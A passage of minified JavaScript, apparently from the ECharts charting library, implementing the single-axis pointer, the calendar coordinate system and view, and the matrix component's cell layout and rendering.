t=e.getReferringComponents(`singleAxis`,uc).models[0];e.coordinateSystem=t&&t.coordinateSystem}}),n}var MJ={create:jJ,dimensions:OJ},NJ=[`x`,`y`],PJ=[`width`,`height`],FJ=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.makeElOption=function(e,t,n,r,i){var a=n.axis,o=a.coordinateSystem,s=RJ(o,1-LJ(a)),c=o.dataToPoint(t)[0],l=r.get(`type`);if(l&&l!==`none`){var u=tq(r),d=IJ[l](a,c,s);d.style=u,e.graphicKey=d.type,e.pointer=d}oq(t,e,SJ(n),n,r,i)},t.prototype.getHandleTransform=function(e,t,n){var r=SJ(t,{labelInside:!1});r.labelMargin=n.get([`handle`,`margin`]);var i=aq(t.axis,e,r);return{x:i[0],y:i[1],rotation:r.rotation+(r.labelDirection<0?Math.PI:0)}},t.prototype.updateHandleTransform=function(e,t,n,r){var i=n.axis,a=i.coordinateSystem,o=LJ(i),s=RJ(a,o),c=[e.x,e.y];c[o]+=t[o],c[o]=Math.min(s[1],c[o]),c[o]=Math.max(s[0],c[o]);var l=RJ(a,1-o),u=(l[1]+l[0])/2,d=[u,u];return d[o]=c[o],{x:c[0],y:c[1],rotation:e.rotation,cursorPoint:d,tooltipOption:{verticalAlign:`middle`}}},t}(YK),IJ={line:function(e,t,n){return{type:`Line`,subPixelOptimize:!0,shape:sq([t,n[0]],[t,n[1]],LJ(e))}},shadow:function(e,t,n){var r=e.getBandWidth(),i=n[1]-n[0];return{type:`Rect`,shape:cq([t-r/2,n[0]],[r,i],LJ(e))}}};function LJ(e){return+!e.isHorizontal()}function RJ(e,t){var n=e.getRect();return[n[NJ[t]],n[NJ[t]]+n[PJ[t]]]}var zJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`single`,t}(Eb);function BJ(e){bw(Rq),eP.registerAxisPointerClass(`SingleAxisPointer`,FJ),e.registerComponentView(zJ),e.registerComponentView(wJ),e.registerComponentModel(EJ),EM(e,`single`,EJ,EJ.defaultOption),e.registerCoordinateSystem(`single`,MJ)}var VJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(t,n,r){var i=Zg(t);e.prototype.init.apply(this,arguments),HJ(t,i)},t.prototype.mergeOption=function(t){e.prototype.mergeOption.apply(this,arguments),HJ(this.option,t)},t.prototype.getCellSize=function(){return this.option.cellSize},t.type=`calendar`,t.layoutMode=`box`,t.defaultOption={z:2,left:80,top:60,cellSize:20,orient:`horizontal`,splitLine:{show:!0,lineStyle:{color:Q.color.axisLine,width:1,type:`solid`}},itemStyle:{color:Q.color.neutral00,borderWidth:1,borderColor:Q.color.neutral10},dayLabel:{show:!0,firstDay:0,position:`start`,margin:Q.size.s,color:Q.color.secondary},monthLabel:{show:!0,position:`start`,margin:Q.size.s,align:`center`,formatter:null,color:Q.color.secondary},yearLabel:{show:!0,position:null,margin:Q.size.xl,formatter:null,color:Q.color.quaternary,fontFamily:`sans-serif`,fontWeight:`bolder`,fontSize:20}},t}(e_);function HJ(e,t){var n=e.cellSize,r=B(n)?n:e.cellSize=[n,n];r.length===1&&(r[1]=r[0]),Xg(e,t,{type:`box`,ignoreSize:R([0,1],function(e){return Jg(t,e)&&(r[e]=`auto`),r[e]!=null&&r[e]!==`auto`})})}var UJ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=this.group;r.removeAll();var i=e.coordinateSystem,a=i.getRangeInfo(),o=i.getOrient(),s=t.getLocaleModel();this._renderDayRect(e,a,r),this._renderLines(e,a,o,r),this._renderYearText(e,a,o,r),this._renderMonthText(e,s,o,r),this._renderWeekText(e,s,a,o,r)},t.prototype._renderDayRect=function(e,t,n){for(var r=e.coordinateSystem,i=e.getModel(`itemStyle`).getItemStyle(),a=r.getCellWidth(),o=r.getCellHeight(),s=t.start.time;s<=t.end.time;s=r.getNextNDay(s,1).time){var c=r.dataToCalendarLayout([s],!1).tl,l=new Lu({shape:{x:c[0],y:c[1],width:a,height:o},cursor:`default`,style:i});n.add(l)}},t.prototype._renderLines=function(e,t,n,r){var i=this,a=e.coordinateSystem,o=e.getModel([`splitLine`,`lineStyle`]).getLineStyle(),s=e.get([`splitLine`,`show`]),c=o.lineWidth;this._tlpoints=[],this._blpoints=[],this._firstDayOfMonth=[],this._firstDayPoints=[];for(var l=t.start,u=0;l.time<=t.end.time;u++){f(l.formatedDate),u===0&&(l=a.getDateInfo(t.start.y+`-`+t.start.m));var d=l.date;d.setMonth(d.getMonth()+1),l=a.getDateInfo(d)}f(a.getNextNDay(t.end.time,1).formatedDate);function f(t){i._firstDayOfMonth.push(a.getDateInfo(t)),i._firstDayPoints.push(a.dataToCalendarLayout([t],!1).tl);var c=i._getLinePointsOfOneWeek(e,t,n);i._tlpoints.push(c[0]),i._blpoints.push(c[c.length-1]),s&&i._drawSplitline(c,o,r)}s&&this._drawSplitline(i._getEdgesPoints(i._tlpoints,c,n),o,r),s&&this._drawSplitline(i._getEdgesPoints(i._blpoints,c,n),o,r)},t.prototype._getEdgesPoints=function(e,t,n){var r=[e[0].slice(),e[e.length-1].slice()],i=n===`horizontal`?0:1;return r[0][i]=r[0][i]-t/2,r[1][i]=r[1][i]+t/2,r},t.prototype._drawSplitline=function(e,t,n){var r=new lp({z2:20,shape:{points:e},style:t});n.add(r)},t.prototype._getLinePointsOfOneWeek=function(e,t,n){for(var r=e.coordinateSystem,i=r.getDateInfo(t),a=[],o=0;o<7;o++){var s=r.getNextNDay(i.time,o),c=r.dataToCalendarLayout([s.time],!1);a[2*s.day]=c.tl,a[2*s.day+1]=c[n===`horizontal`?`bl`:`tr`]}return a},t.prototype._formatterLabel=function(e,t){return H(e)&&e?yg(e,t):V(e)?e(t):t.nameMap},t.prototype._yearTextPositionControl=function(e,t,n,r,i){var a=t[0],o=t[1],s=[`center`,`bottom`];r===`bottom`?(o+=i,s=[`center`,`top`]):r===`left`?a-=i:r===`right`?(a+=i,s=[`center`,`top`]):o-=i;var c=0;return(r===`left`||r===`right`)&&(c=Math.PI/2),{rotation:c,x:a,y:o,style:{align:s[0],verticalAlign:s[1]}}},t.prototype._renderYearText=function(e,t,n,r){var i=e.getModel(`yearLabel`);if(i.get(`show`)){var a=i.get(`margin`),o=i.get(`position`);o||=n===`horizontal`?`left`:`top`;var s=[this._tlpoints[this._tlpoints.length-1],this._blpoints[0]],c=(s[0][0]+s[1][0])/2,l=(s[0][1]+s[1][1])/2,u=n===`horizontal`?0:1,d={top:[c,s[u][1]],bottom:[c,s[1-u][1]],left:[s[1-u][0],l],right:[s[u][0],l]},f=t.start.y;+t.end.y>+t.start.y&&(f=f+`-`+t.end.y);var p=i.get(`formatter`),m={start:t.start.y,end:t.end.y,nameMap:f},h=new Hu({z2:30,style:Bm(i,{text:this._formatterLabel(p,m)}),silent:i.get(`silent`)});h.attr(this._yearTextPositionControl(h,d[o],n,o,a)),r.add(h)}},t.prototype._monthTextPositionControl=function(e,t,n,r,i){var a=`left`,o=`top`,s=e[0],c=e[1];return n===`horizontal`?(c+=i,t&&(a=`center`),r===`start`&&(o=`bottom`)):(s+=i,t&&(o=`middle`),r===`start`&&(a=`right`)),{x:s,y:c,align:a,verticalAlign:o}},t.prototype._renderMonthText=function(e,t,n,r){var i=e.getModel(`monthLabel`);if(i.get(`show`)){var a=i.get(`nameMap`),o=i.get(`margin`),s=i.get(`position`),c=i.get(`align`),l=[this._tlpoints,this._blpoints];(!a||H(a))&&(a&&(t=Th(a)||t),a=t.get([`time`,`monthAbbr`])||[]);var u=s===`start`?0:1,d=n===`horizontal`?0:1;o=s===`start`?-o:o;for(var f=c===`center`,p=i.get(`silent`),m=0;m<l[u].length-1;m++){var h=l[u][m].slice(),g=this._firstDayOfMonth[m];f&&(h[d]=(this._firstDayPoints[m][d]+l[0][m+1][d])/2);var _=i.get(`formatter`),v=a[g.m-1],y={yyyy:g.y,yy:(g.y+``).slice(2),MM:g.m,M:+g.m,nameMap:v},b=new Hu({z2:30,style:F(Bm(i,{text:this._formatterLabel(_,y)}),this._monthTextPositionControl(h,f,n,s,o)),silent:p});r.add(b)}}},t.prototype._weekTextPositionControl=function(e,t,n,r,i){var a=`center`,o=`middle`,s=e[0],c=e[1],l=n===`start`;return t===`horizontal`?(s=s+r+(l?1:-1)*i[0]/2,a=l?`right`:`left`):(c=c+r+(l?1:-1)*i[1]/2,o=l?`bottom`:`top`),{x:s,y:c,align:a,verticalAlign:o}},t.prototype._renderWeekText=function(e,t,n,r,i){var a=e.getModel(`dayLabel`);if(a.get(`show`)){var o=e.coordinateSystem,s=a.get(`position`),c=a.get(`nameMap`),l=a.get(`margin`),u=o.getFirstDayOfWeek();(!c||H(c))&&(c&&(t=Th(c)||t),c=t.get([`time`,`dayOfWeekShort`])||R(t.get([`time`,`dayOfWeekAbbr`]),function(e){return e[0]}));var d=o.getNextNDay(n.end.time,7-n.lweek).time,f=[o.getCellWidth(),o.getCellHeight()];l=X(l,Math.min(f[1],f[0])),s===`start`&&(d=o.getNextNDay(n.start.time,-(7+n.fweek)).time,l=-l);for(var p=a.get(`silent`),m=0;m<7;m++){var h=o.getNextNDay(d,m),g=o.dataToCalendarLayout([h.time],!1).center,_=m;_=Math.abs((m+u)%7);var v=new Hu({z2:30,style:F(Bm(a,{text:c[_]}),this._weekTextPositionControl(g,r,s,l,f)),silent:p});i.add(v)}}},t.type=`calendar`,t}(Eb),WJ=864e5,GJ=function(){function e(t,n,r){this.type=`calendar`,this.dimensions=e.dimensions,this.getDimensionsInfo=e.getDimensionsInfo,this._model=t,this._update(n,r)}return e.getDimensionsInfo=function(){return[{name:`time`,type:`time`},`value`]},e.prototype.getRangeInfo=function(){return this._rangeInfo},e.prototype.getModel=function(){return this._model},e.prototype.getRect=function(){return this._rect},e.prototype.getCellWidth=function(){return this._sw},e.prototype.getCellHeight=function(){return this._sh},e.prototype.getOrient=function(){return this._orient},e.prototype.getFirstDayOfWeek=function(){return this._firstDayOfWeek},e.prototype.getDateInfo=function(e){e=vs(e);var t=e.getFullYear(),n=e.getMonth()+1,r=n<10?`0`+n:``+n,i=e.getDate(),a=i<10?`0`+i:``+i,o=e.getDay();return o=Math.abs((o+7-this.getFirstDayOfWeek())%7),{y:t+``,m:r,d:a,day:o,time:e.getTime(),formatedDate:t+`-`+r+`-`+a,date:e}},e.prototype.getNextNDay=function(e,t){return t||=0,t===0?this.getDateInfo(e):(e=new Date(this.getDateInfo(e).time),e.setDate(e.getDate()+t),this.getDateInfo(e))},e.prototype._update=function(e,t){this._firstDayOfWeek=+this._model.getModel(`dayLabel`).get(`firstDay`),this._orient=this._model.get(`orient`),this._lineWidth=this._model.getModel(`itemStyle`).getItemStyle().lineWidth||0,this._rangeInfo=this._getRangeInfo(this._initRangeOption());var n=this._rangeInfo.weeks||1,r=[`width`,`height`],i=this._model.getCellSize().slice(),a=this._model.getBoxLayoutParams(),o=this._orient===`horizontal`?[n,7]:[7,n];L([0,1],function(e){l(i,e)&&(a[r[e]]=i[e]*o[e])});var s={width:t.getWidth(),height:t.getHeight()},c=this._rect=Ug(a,s);L([0,1],function(e){l(i,e)||(i[e]=c[r[e]]/o[e])});function l(e,t){return e[t]!=null&&e[t]!==`auto`}this._sw=i[0],this._sh=i[1]},e.prototype.dataToPoint=function(e,t,n){n||=[],B(e)&&(e=e[0]),t??=!0;var r=this.getDateInfo(e),i=this._rangeInfo,a=r.formatedDate;if(t&&!(r.time>=i.start.time&&r.time<i.end.time+WJ))return n[0]=n[1]=NaN,n;var o=r.day,s=this._getRangeInfo([i.start.time,a]).nthWeek;return this._orient===`vertical`?(n[0]=this._rect.x+o*this._sw+this._sw/2,n[1]=this._rect.y+s*this._sh+this._sh/2):(n[0]=this._rect.x+s*this._sw+this._sw/2,n[1]=this._rect.y+o*this._sh+this._sh/2),n},e.prototype.pointToData=function(e){var t=this.pointToDate(e);return t&&t.time},e.prototype.dataToLayout=function(e,t,n){n||={};var r=n.rect=n.rect||{},i=n.contentRect=n.contentRect||{},a=this.dataToPoint(e,t);return r.x=a[0]-this._sw/2,r.y=a[1]-this._sh/2,r.width=this._sw,r.height=this._sh,J.copy(i,r),xm(i,this._lineWidth/2,!0,!0),n},e.prototype.dataToCalendarLayout=function(e,t){var n=this.dataToPoint(e,t);return{center:n,tl:[n[0]-this._sw/2,n[1]-this._sh/2],tr:[n[0]+this._sw/2,n[1]-this._sh/2],br:[n[0]+this._sw/2,n[1]+this._sh/2],bl:[n[0]-this._sw/2,n[1]+this._sh/2]}},e.prototype.pointToDate=function(e){var t=Math.floor((e[0]-this._rect.x)/this._sw)+1,n=Math.floor((e[1]-this._rect.y)/this._sh)+1,r=this._rangeInfo.range;return this._orient===`vertical`?this._getDateByWeeksAndDay(n,t-1,r):this._getDateByWeeksAndDay(t,n-1,r)},e.prototype.convertToPixel=function(e,t,n){var r=KJ(t);return r===this?r.dataToPoint(n):null},e.prototype.convertToLayout=function(e,t,n){var r=KJ(t);return r===this?r.dataToLayout(n):null},e.prototype.convertFromPixel=function(e,t,n){var r=KJ(t);return r===this?r.pointToData(n):null},e.prototype.containPoint=function(e){return console.warn(`Not implemented.`),!1},e.prototype._initRangeOption=function(){var e=this._model.get(`range`),t;if(B(e)&&e.length===1&&(e=e[0]),B(e))t=e;else{var n=e.toString();if(/^\d{4}$/.test(n)&&(t=[n+`-01-01`,n+`-12-31`]),/^\d{4}[\/|-]\d{1,2}$/.test(n)){var r=this.getDateInfo(n),i=r.date;i.setMonth(i.getMonth()+1);var a=this.getNextNDay(i,-1);t=[r.formatedDate,a.formatedDate]}/^\d{4}[\/|-]\d{1,2}[\/|-]\d{1,2}$/.test(n)&&(t=[n,n])}if(!t)return e;var o=this._getRangeInfo(t);return o.start.time>o.end.time&&t.reverse(),t},e.prototype._getRangeInfo=function(e){var t=[this.getDateInfo(e[0]),this.getDateInfo(e[1])],n;t[0].time>t[1].time&&(n=!0,t.reverse());var r=Math.floor(t[1].time/WJ)-Math.floor(t[0].time/WJ)+1,i=new Date(t[0].time),a=i.getDate(),o=t[1].date.getDate();i.setDate(a+r-1);var s=i.getDate();if(s!==o)for(var c=i.getTime()-t[1].time>0?1:-1;(s=i.getDate())!==o&&(i.getTime()-t[1].time)*c>0;)r-=c,i.setDate(s-c);var l=Math.floor((r+t[0].day+6)/7),u=n?-l+1:l-1;return n&&t.reverse(),{range:[t[0].formatedDate,t[1].formatedDate],start:t[0],end:t[1],allDay:r,weeks:l,nthWeek:u,fweek:t[0].day,lweek:t[1].day}},e.prototype._getDateByWeeksAndDay=function(e,t,n){var r=this._getRangeInfo(n);if(e>r.weeks||e===0&&t<r.fweek||e===r.weeks&&t>r.lweek)return null;var i=(e-1)*7-r.fweek+t,a=new Date(r.start.time);return a.setDate(+r.start.d+i),this.getDateInfo(a)},e.create=function(t,n){var r=[];return t.eachComponent(`calendar`,function(i){var a=new e(i,t,n);r.push(a),i.coordinateSystem=a}),t.eachComponent(function(e,t){Ng({targetModel:t,coordSysType:`calendar`,coordSysProvider:Pg})}),r},e.dimensions=[`time`,`value`],e}();function KJ(e){var t=e.calendarModel,n=e.seriesModel;return t?t.coordinateSystem:n?n.coordinateSystem:null}function qJ(e){e.registerComponentModel(VJ),e.registerComponentView(UJ),e.registerCoordinateSystem(`calendar`,GJ)}var JJ={level:1,leaf:2,nonLeaf:3},YJ={none:0,all:1,body:2,corner:3};function XJ(e,t,n){var r=t[qp[n]].getCell(e);return!r&&ht(e)&&e<0&&(r=t[qp[1-n]].getUnitLayoutInfo(n,Math.round(e))),r}function ZJ(e){var t=e||[];return t[0]=t[0]||[],t[1]=t[1]||[],t[0][0]=t[0][1]=t[1][0]=t[1][1]=NaN,t}function QJ(e,t,n,r,i){$J(e[0],t,i,n,r,0),$J(e[1],t,i,n,r,1)}function $J(e,t,n,r,i,a){e[0]=1/0,e[1]=-1/0;var o=r[a],s=B(o)?o:[o],c=s.length,l=!!n;if(c>=1?(eY(e,t,s,l,i,a,0),c>1&&eY(e,t,s,l,i,a,c-1)):e[0]=e[1]=NaN,l){var u=-i[qp[1-a]].getLocatorCount(a),d=i[qp[a]].getLocatorCount(a)-1;n===YJ.body?u=rs(0,u):n===YJ.corner&&(d=ns(-1,d)),d<u&&(u=d=NaN),St(e[0])&&(e[0]=u),St(e[1])&&(e[1]=d),e[0]=rs(ns(e[0],d),u),e[1]=rs(ns(e[1],d),u)}}function eY(e,t,n,r,i,a,o){var s=XJ(n[o],i,a);if(!s){e[0]=e[1]=NaN;return}var c=s.id[qp[a]],l=c,u=uY(s);u&&(l+=u.span[qp[a]]-1),e[0]=ns(e[0],c,l),e[1]=rs(e[1],c,l)}function tY(e,t){return St(e[t][0])||St(e[t][1])}function nY(e,t,n,r){t||=rY;for(var i=0;i<r;i++)t[i]=!1;for(;;){for(var a=!1,i=0;i<r;i++){var o=n[i];!t[i]&&o.cellMergeOwner&&iY(e,o.locatorRange)&&(t[i]=!0,a=!0)}if(!a)break}}var rY=[];function iY(e,t){return!aY(e[0],t[0])||!aY(e[1],t[1])?!1:(e[0][0]=ns(e[0][0],t[0][0]),e[0][1]=rs(e[0][1],t[0][1]),e[1][0]=ns(e[1][0],t[1][0]),e[1][1]=rs(e[1][1],t[1][1]),!0)}function aY(e,t){return e[1]>=t[0]&&e[0]<=t[1]}function oY(e,t){e.id.set(t[0][0],t[1][0]),e.span.set(t[0][1]-e.id.x+1,t[1][1]-e.id.y+1)}function sY(e,t){e[0][0]=t[0][0],e[0][1]=t[0][1],e[1][0]=t[1][0],e[1][1]=t[1][1]}function cY(e,t,n,r){var i=XJ(t[r][0],n,r),a=XJ(t[r][1],n,r);e[qp[r]]=e[Jp[r]]=NaN,i&&a&&(e[qp[r]]=i.xy,e[Jp[r]]=a.xy+a.wh-i.xy)}function lY(e,t,n,r){return e[qp[t]]=n,e[qp[1-t]]=r,e}function uY(e){return e&&(e.type===JJ.leaf||e.type===JJ.nonLeaf)?e:null}function dY(){return{x:NaN,y:NaN,width:NaN,height:NaN}}var fY=function(){function e(e,t){this._cells=[],this._levels=[],this.dim=e,this.dimIdx=e===`x`?0:1,this._model=t,this._uniqueValueGen=pY(e);var n=t.get(`data`,!0);n!=null&&!B(n)&&(n=[]),n?this._initByDimModelData(n):this._initBySeriesData()}return e.prototype._initByDimModelData=function(e){var t=this,n=t._cells,r=t._levels,i=[],a=0;t._leavesCount=o(e,0,0),s();return;function o(e,n,s){var c=0;return e&&L(e,function(e,l){var u;H(e)?u={value:e}:U(e)?(u=e,e.value!=null&&!H(e.value)&&(u={value:null})):u={value:null};var d={type:JJ.nonLeaf,ordinal:NaN,level:s,firstLeafLocator:n,id:new q,span:lY(new q,t.dimIdx,1,1),option:u,xy:NaN,wh:NaN,dim:t,rect:dY()};a++,(i[n]||(i[n]=[])).push(d),r[s]||(r[s]={type:JJ.level,xy:NaN,wh:NaN,option:null,id:new q,dim:t});var f=o(u.children,n,s+1),p=Math.max(1,f);d.span[qp[t.dimIdx]]=p,c+=p,n+=p}),c}function s(){for(var e=[];n.length<a;)for(var r=0;r<i.length;r++){var o=i[r].pop();if(o){o.ordinal=e.length;var s=o.option.value;e.push(s),n.push(o),t._uniqueValueGen.calcDupBase(s)}}t._uniqueValueGen.ensureValueUnique(e,n),t._scale=new AT({ordinalMeta:t._ordinalMeta=new OT({categories:e,needCollect:!1,deduplication:!1})});for(var c=0;c<t._leavesCount;c++){var l=t._cells[c];l.type=JJ.leaf,l.span[qp[1-t.dimIdx]]=t._levels.length-l.level}t._initCellsId(),t._initLevelIdOptions()}},e.prototype._initBySeriesData=function(){var e=this;e._leavesCount=0,e._levels=[{type:JJ.level,xy:NaN,wh:NaN,option:null,id:new q,dim:e}],e._initLevelIdOptions(),e._scale=new AT({ordinalMeta:e._ordinalMeta=new OT({needCollect:!0,deduplication:!0,onCollect:function(t,n){var r=e._cells[n]={type:JJ.leaf,ordinal:n,level:0,firstLeafLocator:n,id:new q,span:lY(new q,e.dimIdx,1,1),option:{value:t+``},xy:NaN,wh:NaN,dim:e,rect:dY()};e._leavesCount++,e._setCellId(r)}})})},e.prototype._setCellId=function(e){var t=this._levels.length,n=this.dimIdx;lY(e.id,n,e.firstLeafLocator,e.level-t)},e.prototype._initCellsId=function(){var e=this._levels.length,t=this.dimIdx;L(this._cells,function(n){lY(n.id,t,n.firstLeafLocator,n.level-e)})},e.prototype._initLevelIdOptions=function(){var e=this._levels.length,t=this.dimIdx,n=this._model.get(`levels`,!0);n=B(n)?n:[],L(this._levels,function(r,i){lY(r.id,t,0,i-e),r.option=n[i]})},e.prototype.shouldShow=function(){return!!this._model.getShallow(`show`,!0)},e.prototype.resetLayoutIterator=function(e,t,n,r){if(e||=new vc,t===this.dimIdx){var i=this._leavesCount,a=n==null?0:Math.max(0,n);r=r==null?i:Math.min(r,i),e.reset(this._cells,a,a+r)}else{var i=this._levels.length,a=n==null?0:Math.max(0,n+i);r=r==null?i:Math.min(r,i),e.reset(this._levels,a,a+r)}return e},e.prototype.resetCellIterator=function(e){return(e||new vc).reset(this._cells,0)},e.prototype.resetLevelIterator=function(e){return(e||new vc).reset(this._levels,0)},e.prototype.getLayout=function(e,t,n){var r=this.getUnitLayoutInfo(t,n);e[qp[t]]=r?r.xy:NaN,e[Jp[t]]=r?r.wh:NaN},e.prototype.getUnitLayoutInfo=function(e,t){return e===this.dimIdx?t<this._leavesCount?this._cells[t]:void 0:this._levels[t+this._levels.length]},e.prototype.getCell=function(e){var t=this._scale.parse(e);return St(t)?void 0:this._cells[t]},e.prototype.getLocatorCount=function(e){return e===this.dimIdx?this._leavesCount:this._levels.length},e.prototype.getOrdinalMeta=function(){return this._ordinalMeta},e}();function pY(e){var t=e.toUpperCase(),n=RegExp(`^`+t+`([0-9]+)$`),r=0;function i(e){var t;e!=null&&(t=e.match(n))&&(r=rs(r,+t[1]+1))}function a(){return``+t+ r++}function o(e,t){for(var n=G(),r=0;r<e.length;r++){var i=e[r];(i==null||n.get(i)!=null)&&(e[r]=i=a(),t[r].option=I({value:i},t[r].option)),n.set(i,!0)}}return{calcDupBase:i,ensureValueUnique:o}}var mY=function(){function e(e,t,n){this._model=t,this._dims=n,this._kind=e,this._cellMergeOwnerList=[]}return e.prototype._ensureCellMap=function(){var e=this,t=e._cellMap;return t||(t=e._cellMap=G(),n()),t;function n(){var t=[],n=e._model.getShallow(`data`);n&&!B(n)&&(n=null),L(n,function(n,r){if(!(!U(n)||!B(n.coord))){var i=ZJ([]);if(QJ(i,null,n.coord,e._dims,n.coordClamp?YJ[e._kind]:YJ.none),!(tY(i,0)||tY(i,1))){var a=n&&n.mergeCells,o={id:new q,span:new q,locatorRange:i,option:n,cellMergeOwner:a};oY(o,i),t.push(o)}}});for(var i=[],a=0;a<t.length;a++){var o=t[a];if(o.cellMergeOwner){var s=o.locatorRange;nY(s,i,t,a);for(var c=0;c<a;c++)i[c]&&(t[c].cellMergeOwner=!1);if(s[0][0]!==o.id.x||s[1][0]!==o.id.y){o.cellMergeOwner=!1;var l=F({},o.option);l.coord=null;var u={id:new q,span:new q,locatorRange:s,option:l,cellMergeOwner:!0};oY(u,s),t.push(u)}}}L(t,function(t){var n=r(t.id.x,t.id.y);if(t.cellMergeOwner&&(n.cellMergeOwner=!0,n.span=t.span,n.locatorRange=t.locatorRange,n.spanRect=dY(),e._cellMergeOwnerList.push(n)),!(!t.cellMergeOwner&&!t.option))for(var i=0;i<t.span.y;i++)for(var a=0;a<t.span.x;a++){var o=r(t.id.x+a,t.id.y+i);o.option=t.option,t.cellMergeOwner&&(o.inSpanOf=n)}})}function r(e,n){var r=gY(e,n),i=t.get(r);return i||=t.set(r,{id:new q(e,n),option:null,inSpanOf:null,span:null,spanRect:null,locatorRange:null,cellMergeOwner:!1}),i}},e.prototype.getCell=function(e){return this._ensureCellMap().get(gY(e[0],e[1]))},e.prototype.travelExistingCells=function(e){this._ensureCellMap().each(e)},e.prototype.expandRangeByCellMerge=function(e){if(!tY(e,0)&&!tY(e,1)&&e[0][0]===e[0][1]&&e[1][0]===e[1][1]){hY[0]=e[0][0],hY[1]=e[1][0];var t=this.getCell(hY),n=t&&t.inSpanOf;if(n){sY(e,n.locatorRange);return}}var r=this._cellMergeOwnerList;nY(e,null,r,r.length)},e}(),hY=[];function gY(e,t){return e+`|`+t}var _Y={show:!0,color:Q.color.secondary,overflow:`break`,lineOverflow:`truncate`,padding:[2,3,2,3],distance:0};function vY(e){return{color:`none`,borderWidth:1,borderColor:e?`none`:Q.color.borderTint}}var yY={show:!0,label:_Y,itemStyle:vY(!1),silent:void 0,dividerLineStyle:{width:1,color:Q.color.border}},bY={z:-50,left:`10%`,top:`10%`,right:`10%`,bottom:`10%`,x:yY,y:yY,body:{label:_Y,itemStyle:vY(!1),silent:void 0},corner:{label:_Y,itemStyle:vY(!0),silent:void 0},backgroundStyle:{color:`none`,borderColor:Q.color.axisLine,borderWidth:1}},xY=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.optionUpdated=function(){var e=this._dimModels={x:new SY(this.get(`x`,!0)||{}),y:new SY(this.get(`y`,!0)||{})};e.x.option.type=e.y.option.type=`category`;var t={x:e.x.dim=new fY(`x`,e.x),y:e.y.dim=new fY(`y`,e.y)};this._body=new mY(`body`,new lh(this.getShallow(`body`)),t),this._corner=new mY(`corner`,new lh(this.getShallow(`corner`)),t)},t.prototype.getDimensionModel=function(e){return this._dimModels[e]},t.prototype.getBody=function(){return this._body},t.prototype.getCorner=function(){return this._corner},t.type=`matrix`,t.layoutMode=`box`,t.defaultOption=bY,t}(e_),SY=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.getOrdinalMeta=function(){return this.dim.getOrdinalMeta()},t}(lh),CY=Math.round,wY=0,TY=99,EY={normal:25,special:100},DY={normal:50,special:125},OY=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t){this.group.removeAll();var n=this.group,r=e.coordinateSystem.getRect(),i=e.getDimensionModel(`x`),a=e.getDimensionModel(`y`),o=i.dim,s=a.dim;kY(n,e,t),AY(n,e,o,s,t);var c=W(e.getShallow(`borderZ2`,!0),TY),l=c-1,u=e.getModel(`backgroundStyle`).getItemStyle([`borderWidth`]);u.lineWidth=0;var d=e.getModel(`backgroundStyle`).getItemStyle([`color`,`decal`,`shadowColor`,`shadowBlur`,`shadowOffsetX`,`shadowOffsetY`]);d.fill=`none`;var f=IY(r.clone(),u,wY),p=IY(r.clone(),d,c);f.silent=!0,p.silent=!0,n.add(f),n.add(p);var m=o.getUnitLayoutInfo(0,0),h=s.getUnitLayoutInfo(1,0);m&&h&&(o.shouldShow()&&n.add(LY({x1:r.x,y1:h.xy,x2:r.x+r.width,y2:h.xy},i.getModel(`dividerLineStyle`).getLineStyle(),l)),s.shouldShow()&&n.add(LY({x1:m.xy,y1:r.y,x2:m.xy,y2:r.y+r.height},a.getModel(`dividerLineStyle`).getLineStyle(),l)))},t.type=`matrix`,t}(Eb);function kY(e,t,n){r(0),r(1);function r(r){var i=t.getDimensionModel(qp[r]),a=i.dim;if(a.shouldShow())for(var o=i.getModel(`itemStyle`),s=i.getModel(`label`),c=t.getShallow(`tooltip`,!0),l=[],u=a.resetCellIterator();u.next();){var d=u.item,f={};J.copy(f,d.rect),Wt(l,d.id.x,d.id.y),jY(l,t,e,n,d.option,o,s,i,f,d.option.value,DY,c)}}}function AY(e,t,n,r,i){a(`body`,t.getBody(),n,r),n.shouldShow()&&r.shouldShow()&&a(`corner`,t.getCorner(),r,n);function a(n,r,a,o){var s=new lh(t.getShallow(n,!0)),c=s.getModel(`itemStyle`),l=s.getModel(`label`),u=new vc,d=new vc,f=[],p=t.getShallow(`tooltip`,!0);for(o.resetLayoutIterator(d,1);d.next();)for(a.resetLayoutIterator(u,0);u.next();){var m=u.item,h=d.item;Wt(f,m.id.x,h.id.y);var g=r.getCell(f);if(!(g&&g.inSpanOf&&g.inSpanOf!==g)){var _={};g&&g.span?J.copy(_,g.spanRect):(m.dim.getLayout(_,0,f[0]),h.dim.getLayout(_,1,f[1]));var v=g?g.option:null;jY(f,t,e,i,v,c,l,s,_,v?v.value:null,EY,p)}}}}function jY(e,t,n,r,i,a,o,s,c,l,u,d){NY.option=i?i.itemStyle:null,NY.parentModel=a,MY.option=i,MY.parentModel=s;var f=W(MY.getShallow(`z2`),i&&i.itemStyle?u.special:u.normal),p=d&&d.show,m=IY(c,NY.getItemStyle(),f);n.add(m);var h=MY.get(`cursor`);h!=null&&m.attr(`cursor`,h);var g;if(l!=null){var _=l+``;if(PY.option=i?i.label:null,PY.parentModel=o,PY.ecModel=r,Rm(m,{normal:PY},{defaultText:_,autoOverflowArea:!0,layoutRect:P(m.shape)}),g=m.getTextContent(),g){g.z2=f+1;var v=g.style;if(v&&v.overflow&&v.overflow!==`none`&&v.lineOverflow){var y={};J.copy(y,c),xm(y,(m.style?.lineWidth||0)/2,!0,!0),m.updateInnerText(),g.getLocalTransform(FY),qn(FY,FY),J.applyTransform(y,y,FY),g.setClipPath(new Lu({shape:y}))}}wm({el:m,componentModel:t,itemName:_,itemTooltipOption:d,formatterParamsExtra:{xyLocator:e.slice()}})}if(g){var b=PY.get(`silent`);b??=!p,g.silent=b,g.ignoreHostSilent=!0}var x=MY.get(`silent`);x??=!m.style||m.style.fill===`none`||!m.style.fill,m.silent=x,yc(MY),yc(NY),yc(PY)}var MY=new lh,NY=new lh,PY=new lh,FY=[];function IY(e,t,n){var r=t.lineWidth;if(r){var 